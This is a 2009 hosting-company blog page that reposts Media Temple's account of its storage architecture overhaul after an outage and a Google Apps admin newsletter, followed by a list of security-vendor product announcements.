BlueArc Titan is an extremely robust system and it is fantastic at many things. The company’s engineering and support infrastructure is top-notch. However, we have had too many core issues and have consequently been forced to rethink our storage architecture completely. BlueArc is a tremendous company with a top-tier product, but, in our opinion, it is not the proper solution for our needs.

2nd Generation Architecture

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Our new generation Clusters 3, 4 and 5 use a combination of a new storage design, along with more extensible storage technology powered by Sun Microsystems. Still fully hardware redundant on all levels, the combination of new design and the more flexible Sun equipment allows our new architecture to be more reliable. This architecture is currently in the process of being rolled out transparently to Cluster 1 and Cluster 2.

  • Decoupled OS & Storage Segment Isolation
    If one part of the storage network has a problem, such as a runaway user process causing high disk I/O, it is isolated from being able to affect customers on other segments. Also, the root OS remains totally isolated so there is no degradation to cluster node performance. This, combined with a smaller number of customers per storage segment, leads to a far more reliable system. The possibility of a problem with one segment (such as we had this weekend) has much less of a chance to cause global problems.
  • Better Caching
    People look at your site a lot more often than you change it, so we can actually cache quite a bit of your content for you in in the Storage Segments. Spinning mechanical disks are slow. We have increased our levels of cache more than 20x across the storage network. Our customers have already seen notable performance and stability gains because of this.
  • Granular Diagnostics
    Using DTrace, a very powerful diagnostic tool in Solaris 10, we are able to conduct highly sophisticated real-time monitoring to catch incorrectly coded scripts or other unintentional issues that put excessive load on a given storage segment. This level of insight is not available in closed platforms, where real-time diagnostic tools tend to be limited to the vendor’s engineers.
  • Quicker Backup Recovery
    In the event of a serious filesystem failure, under the old architecture recovery from backup was possible but took a significant amount of time (even with fast disks and 10 gigabit networking, copying 15 terabytes of data from one disk system to another takes hours). In the new architecture, backup servers have the same performance capabilities as their data source and they are larger in size. Even in the unlikely case that we need to revert to a backup, engineers can perform the task in minutes. 

Moving OLD customers to NEW technology

With all that being said, why are some of our customers still on the original architecture? It seems like they should have access to improved systems first right?

 

We needed to prove that our new designs were significantly better than the original designs. Even after receiving great results from our labs simulation, we elected to honor the lessons of the past. We have learned time and time again that real-world results always teach us things that are impossible to find in simulation.  To this end we launched Cluster 3 and began rigorous observation. Second, the original Sun hardware platform also displayed some hardware-related glitches once it reached production. This delayed implementation until we were sure that its successor, to which we have upgraded, had eliminated these issues.

So how are we proceeding with getting the remainder of Cluster 1 and Cluster 2 to this new, proven design?

Two major ways.

Upgrading Cluster 1 and Cluster 2

First, we are well underway with the in-place upgrade. The most time consuming part of this process is migrating the vast amounts of data from one system to another, while keeping the transfer rates and load gentle enough not to cause any performance issues to everyday operation. At time of writing, 37% of Cluster 1 customers, and 44% of Cluster 2 customers have already been migrated.

About a month ago, we dramatically accelerated this process and have purchased 100% of the hardware needed to complete the project. We anticipate that the entire process should be completed by 06/2009. Most customers will be on the new architecture much sooner than that.

Next 30 days, Cluster-to-Cluster migration tools.

We have committed significant developer and administrator manpower to the development of Cluster-to-Cluster migration tools. Currently, it is possible to migrate yourself to a new cluster, utilizing the technique described in our Knowledge Base . This method is complex and not highly recommended. The first version of the migrator tool will eliminate a lot of the manual steps.

We have good technology today. But, there is more to come.

Our 2009 storage road map is exciting. As our new architecture continues to prove itself, we are not stopping development of new technologies.

  • Storage segment fencing In our 2nd-generation system, storage segments are more individually isolated and overall less likely to cause system-wide disruptions. Additionally we are in the late development phase of special “fencing ” software which adds an additional layer of protection when storage malfunctions. This software keeps the cluster healthy and functional even during extreme cases of disk turbulence.
  • Storage-Eye View Using the powerful insight given to us by DTrace, we are developing automators that actually solve storage issues without human intervention. These self-healing tools are also being leveraged to provide customers with new reports and details concerning the behavior of their applications. Awesome.
  • SSD Sun is pioneering the integration of SSD (Solid State Disk ) technology in a very interesting way with their Hybrid Storage Pool products. We are currently experimenting with this technology in our labs. The results are looking fantastic.

A final note about redundancy

We would like to communicate the exact current high-availability (HA) status of clusters with in our GRID:

Currently HA:

  • Every drive. We have 100% RAID through the system.
  • Every server.
  • For storage segments and all other critical servers we have full internal redundancy (power supplies, fans, etc.)
  • Load balancer, networking, and hardware.

Currently Not HA:

  • Intra-cluster networking equipment, including cables. We have hot spares that can be activated within 5-20 minutes, but it’s not HA. We are considering changing this in our (cs) product but we are still debating the uptime advantages.
  • Storage segments. We can fail over to the backup if needed, and we can typically recover from any other non-catastrophic issue within 3-5 minutes.
  • Individual MySQL servers and Containers.

Summary

We understand downtime may represent a once in a lifetime, non-retrievable instance, so we are committed to producing more stable, flexible and powerful hosting.

(mt) Media Temple has committed to communicating with our customers more effectively as well. Given our recent stumble we clearly need to improve our communication systems. Soon we will further integrate our information flows with rapid-broadcast systems like Twitter and VoIP. We’re going to keep looking for ways to get you information quickly.

(mt) Media Temple aims to be a proactive and agile company working to address the varied needs of our clients. This is a serious promise.

March 3, 2009

Google Apps: February 2009 Newsletter

Filed under: Internet, Networks, Technology, Telecom, Tools — paragonhost @ 2:38 pm

February 2009 Newsletter

Email, calendar and collaboration tools for your business

Table of Contents:

Product Updates
How are other customers using Apps?
Tip for your users!
Beyond Apps

Hello Google Apps admins!

Here is your monthly dose of Google Apps news and updates. We hope you enjoy it and pass on the word to your users. As always, we’d love to know what you would like to see in upcoming newsletters and welcome you to submit your feedback here.

Product Updates:

Offline access is now available for both Gmail and Calendar

We are happy to announce that within the past couple of weeks, we have rolled out offline access in Gmail Labs and read-only offline access as an option in Calendar for Google Apps customers. When you enable offline access for Gmail, it will load in your browser even when you don’t have an Internet connection. You can read messages, star, label and archive them, compose new mail and more. Messages ready to be sent will wait in your Outbox until you’re online again. Remember, we’re still working out kinks, which means you might see some issues that aren’t completely ironed out. But this is a major step along the way.

Now that you have offline access for Gmail all figured out with no or unreliable internet connection, you will also be able to see your events in Google Calendar from wherever you are. Offline Calendar will let you view your existing schedule and events, but not edit them, so you don’t have to print out calendars the night before a trip. Users of Google Apps Standard Edition can get started on these steps immediately.

For Premier and Education Edition, domain admins will have to enable Gmail Labs for offline access to Gmail before users can start taking advantage of it. For Calendar, domain administrators will first have to check the box next to ‘Turn on new features’ in the ‘Domain Settings’ page of the Google Apps control panel before their users can enable this option. This offline feature uses Gears, an open source browser extension that adds offline functionality directly to the browser.

Sync up your contacts and calendar events with Google Sync:

Google Sync is now available for users with iPhones or Windows Mobile devices. With Google Sync, whether users make changes to calendar events and contacts from their browsers or mobile devices, changes will be reflected in both places automatically, within minutes. And because Google Sync ties directly into devices’ pre-installed calendar and contacts applications, employees don’t need to learn a new interface.

To get started, Google Sync must be enabled for your domain from the Google Apps control panel. Then, employees will be able to configure Google Sync from their devices. The instructions for each type of phone are different, so check out our help center for device specific information.

Before getting started with this beta release, please take a minute to review some syncing limitations we’re aware of with the iPhone and Windows Mobile devices. Also, keep in mind that Google Sync will replace all existing contacts and calendar information on your phone, so make sure to back up any important data before you get started..

Google Sync is also available for users with Blackberry devices and phones that support SyncML. For more information, visit m.google.com/sync.

A new layer for data access security for Google Apps:

In addition to existing capabilities such as SSL options and single sign-on capabilities to help keep your information safe, we’re adding a new layer of security: the ability for administrators to set password length requirements and view password strength indicators to identify sufficiently long passwords that may still not be strong enough. What’s more, because the Google Account authentication system continuously sees new variations of password attacks from around the world, we can assess password strength in real-time and help administrators spot passwords that were relatively secure in the past that are more vulnerable to the latest patterns of attacks.

Premier and Education Edition administrators can access these features from the administrative control panel under ‘Advanced Tools’ > ‘Advanced Password Settings’.

Google Apps Authorized Reseller program is now open:

While Google Apps is easy to use and many businesses will continue to come to us directly online or through our Enterprise team, many appreciate the services provided by local firms who are intimately familiar with their particular needs. We’re looking forward to working with a broad range of partners, from VARs and IT consultants to professional services firms and global systems integrators, to ISPs and other SaaS providers. With over 1 million businesses and 10+ million active users in more than 100 countries, Google Apps adoption is set to accelerate even further in 2009. This provides partners with a great opportunity to expand their expertise into cloud computing while building profitable new businesses.

To learn more about the reseller program, please visit www.google.com/apps/resellers.

Get product update alerts by email:

If you’d like to be notified about product updates right as they happen, you can get alerts by email. To subscribe, visit http://www.google.com/apps/admin-updates.

How are other customers using Apps?

We recently uploaded a video tour of a corporate intranet built by one of our customers using Google Sites. Google Sites is an easy way to collaborate and publish web sites without any technical knowledge. It’s another way to help you get the most out of Google Apps — and save money at the same time. Watch the video to learn more about Google Sites.

Tips for your users!

Sending from multiple addresses in one account

If you have multiple email accounts, you can choose to send messages from your Google Apps email account using another address. For instance, if you own user@example.com and user2@example.com, you can send mail from either account. You can send messages using other addresses, too. This is called the custom ‘From:’ feature.

Keep in mind that this feature doesn’t configure your inbox to receive messages from another account. If you’d like to receive messages from another account, you’ll need to set up auto-fowarding in the other account. If you haven’t customized the ‘From:’ field in your account yet, check out http://google.com/support/a/users/bin/answer.py?answer=22370 for instructions.

Note: To send this tip to all users at your domain, forward this message to a domain-wide email list. If you haven’t yet created a domain-wide email list, visit the User Accounts section of the control panel. Click ‘create email list,’ enter a name for the list, and then click ‘Add everyone in my domain.’

Beyond Apps

Dive into the new Google Earth

Google Earth’s latest release includes new features Ocean, Historical Imagery, and Touring! Google Earth Pro allows professionals to visualize and share geospatial data and make better location related decisions. Layer your company’s data on top of Google Earth imagery with Google Earth Pro’s data import feature. Share additional context about areas of interest by adding HTML and javascript to placemarks. Make videos with Google’s new oceanic & historical imagery for use in presentations or on your website.

To learn more about Google Earth Pro, please contact us at ge_sales@google.com.

 

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March 2, 2009

Technology News 03-02-09

Filed under: Internet, Networks, Technology — paragonhost @ 11:05 pm

Check Point Software Technologies today announced the expansion of its UTM-1 Total Securityappliance line with the addition of a new model, UTM-1 130.

Check Point Software Technologies Ltd. today announced a new line of Check Point appliances, VSX-1.

Check Point Software Technologies Ltd. today announced the release of ZoneAlarm® Extreme Security.

Check Point Software Technologies Ltd today announced Check Point R7.

http://checkpoint-security.blogspot.com/

 

D-Link today introduced  the second-generation D-Link® 5-Port Gigabit Desktop Switch (DGS-2205)

http://dlink-products.blogspot.com/

 

Fortinet today announced the new FortiWeb-1000B

http://fortinet-security.blogspot.com/

 

ESET today announced version 4 of ESET NOD32 Antivirus and ESET Smart Security

http://eset-nod32.blogspot.com/

 

Today at VMworld Europe 2009, VMware, Inc. announced VMware vShield Zones.

http://vmware-software.blogspot.com

 

Blue Coat Systems, Inc. today expanded the Blue Coat® ProxyAV™ appliance family, ProxyAV 210

http://bluecoat-systems.blogspot.com/

 

Astaro  today announced the availability of version 7.4 of its Astaro Gateway product

http://astaro-security.blogspot.com/

 

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